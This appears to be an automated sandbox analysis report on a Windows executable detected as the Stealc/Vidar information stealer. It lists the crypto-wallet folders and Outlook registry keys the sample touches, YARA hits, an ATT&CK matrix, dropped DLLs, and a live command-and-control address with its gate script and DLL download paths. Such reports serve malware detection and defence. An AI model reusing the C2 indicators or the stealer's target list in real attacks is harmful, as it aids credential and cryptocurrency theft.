Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2050496784.000000000074E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2050877383.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1677872732.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720C40 sqlite3_bind_zeroblob,	0_2_6C720C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720D60 sqlite3_bind_parameter_name,	0_2_6C720D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648EA0 sqlite3_clear_bindings,	0_2_6C648EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C720B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646410 bind,WSAGetLastError,	0_2_6C646410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646070 PR_Listen,	0_2_6C646070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C64C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C030 sqlite3_bind_parameter_count,	0_2_6C64C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6460B0 listen,WSAGetLastError,	0_2_6C6460B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D22D0 sqlite3_bind_blob,	0_2_6C5D22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6463C0 PR_Bind,	0_2_6C6463C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Disable or Modify Tools	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	236 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Extra Window Memory Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
play.google.com	0%	Virustotal	Browse
plus.l.google.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://anglebug.com/4633	0%	URL Reputation	safe
https://anglebug.com/7382	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://issuetracker.google.com/284462263	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://anglebug.com/7714	0%	URL Reputation	safe
http://anglebug.com/6248	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
http://anglebug.com/6929	0%	URL Reputation	safe
http://anglebug.com/5281	0%	URL Reputation	safe
https://issuetracker.google.com/255411748	0%	URL Reputation	safe
https://anglebug.com/7246	0%	URL Reputation	safe
https://anglebug.com/7369	0%	URL Reputation	safe
https://anglebug.com/7489	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://issuetracker.google.com/161903006	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/3078	0%	URL Reputation	safe
http://anglebug.com/7553	0%	URL Reputation	safe
http://anglebug.com/5375	0%	URL Reputation	safe
http://anglebug.com/5371	0%	URL Reputation	safe
http://anglebug.com/4722	0%	URL Reputation	safe
http://anglebug.com/7556	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/6692	0%	URL Reputation	safe
https://issuetracker.google.com/258207403	0%	URL Reputation	safe
http://anglebug.com/3502	0%	URL Reputation	safe
http://anglebug.com/3623	0%	URL Reputation	safe
http://anglebug.com/3625	0%	URL Reputation	safe
http://anglebug.com/3624	0%	URL Reputation	safe
http://anglebug.com/5007	0%	URL Reputation	safe
http://anglebug.com/3862	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
http://anglebug.com/4836	0%	URL Reputation	safe
https://issuetracker.google.com/issues/166475273	0%	URL Reputation	safe
http://anglebug.com/4384	0%	URL Reputation	safe
http://anglebug.com/3970	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://polymer.github.io/CONTRIBUTORS.txt	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
plus.l.google.com	142.250.184.206	true	false	0%, Virustotal, Browse	unknown
play.google.com	142.250.185.238	true	false	0%, Virustotal, Browse	unknown
www.google.com	172.217.16.196	true	false	0%, Virustotal, Browse	unknown
apis.google.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1896969585.000000000081C000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1795304844.000005F400BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1818413707.000005F400BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1789095701.000005F400BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1873649857.000005F400BE4000.00000004.00000800.00020000.00000000.sdmp, ECAFHDBG.0.dr	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000001.00000003.1780967781.000005F400698000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dllz	file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1896969585.000000000081C000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.0.dr	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/7	chrome.exe, 00000001.00000003.1819452985.000005F4019B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/J	chrome.exe, 00000001.00000003.1780967781.000005F400698000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php0r	file.exe, 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4633	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7382	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2066609659.0000000023502000.00000004.00000020.00020000.00000000.sdmp, IECFIEGDBKJKFIDHIECG.0.dr	false	URL Reputation: safe	unknown
https://issuetracker.google.com/284462263	chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phprowser	file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/A	chrome.exe, 00000001.00000003.1819524052.000005F4019BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819452985.000005F4019B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1818654997.000005F401438000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000001.00000003.1794845256.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794964140.000005F400F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1795370929.000005F40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793761619.000005F40105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1796530213.000005F401160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1796147207.000005F401094000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793592406.000005F40100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793880228.000005F400EFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794073246.000005F401028000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794638469.000005F400A3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794602203.000005F400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793454964.000005F400EEC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	chrome.exe, 00000001.00000003.1780691309.000005F4004AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/:	chrome.exe, 00000001.00000003.1780967781.000005F400698000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000001.00000003.1818654997.000005F401438000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/D	chrome.exe, 00000001.00000003.1819524052.000005F4019BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819452985.000005F4019B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/J	chrome.exe, 00000001.00000003.1819524052.000005F4019BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819452985.000005F4019B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7714	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/M	chrome.exe, 00000001.00000003.1819452985.000005F4019B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000001.00000003.1795370929.000005F40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1796530213.000005F401160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1796147207.000005F401094000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/Q	chrome.exe, 00000001.00000003.1819524052.000005F4019BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819452985.000005F4019B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/W	chrome.exe, 00000001.00000003.1819524052.000005F4019BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819452985.000005F4019B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/?lfhs=2	chrome.exe, 00000001.00000003.1780967781.000005F400698000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000001.00000003.1815846630.000005F4012EC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/Z	chrome.exe, 00000001.00000003.1819524052.000005F4019BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819452985.000005F4019B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6929	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5281	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpenSSH	file.exe, 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/a	chrome.exe, 00000001.00000003.1819524052.000005F4019BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819452985.000005F4019B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/?feature=ytca	chrome.exe, 00000001.00000003.1780967781.000005F400698000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2066609659.0000000023502000.00000004.00000020.00020000.00000000.sdmp, IECFIEGDBKJKFIDHIECG.0.dr	false		unknown
https://issuetracker.google.com/255411748	chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7246	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7369	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7489	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/?q=	chrome.exe, 00000001.00000003.1795304844.000005F400BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1818413707.000005F400BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1789095701.000005F400BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1873649857.000005F400BE4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 00000001.00000003.1796441390.000005F40033C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000001.00000003.1780691309.000005F4004AC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000001.00000003.1794845256.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794964140.000005F400F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1795370929.000005F40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793761619.000005F40105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1796530213.000005F401160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1796147207.000005F401094000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793592406.000005F40100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793880228.000005F400EFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794073246.000005F401028000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794638469.000005F400A3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794602203.000005F400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793454964.000005F400EEC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.2050877383.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1896969585.000000000081C000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2066609659.0000000023502000.00000004.00000020.00020000.00000000.sdmp, IECFIEGDBKJKFIDHIECG.0.dr	false		unknown
https://issuetracker.google.com/161903006	chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1896969585.000000000081C000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	chrome.exe, 00000001.00000003.1780691309.000005F4004AC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000001.00000003.1780691309.000005F4004AC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.ico	chrome.exe, 00000001.00000003.1795304844.000005F400BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1818413707.000005F400BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1789095701.000005F400BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1873649857.000005F400BE4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://plus.google.com	chromecache_79.3.dr	false		unknown
http://anglebug.com/3078	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7553	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5375	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/Jn	chrome.exe, 00000001.00000003.1821407797.000005F401514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821490303.000005F401524000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821376950.000005F40150C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5371	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/4722	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000001.00000003.1779887402.000005F4001C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
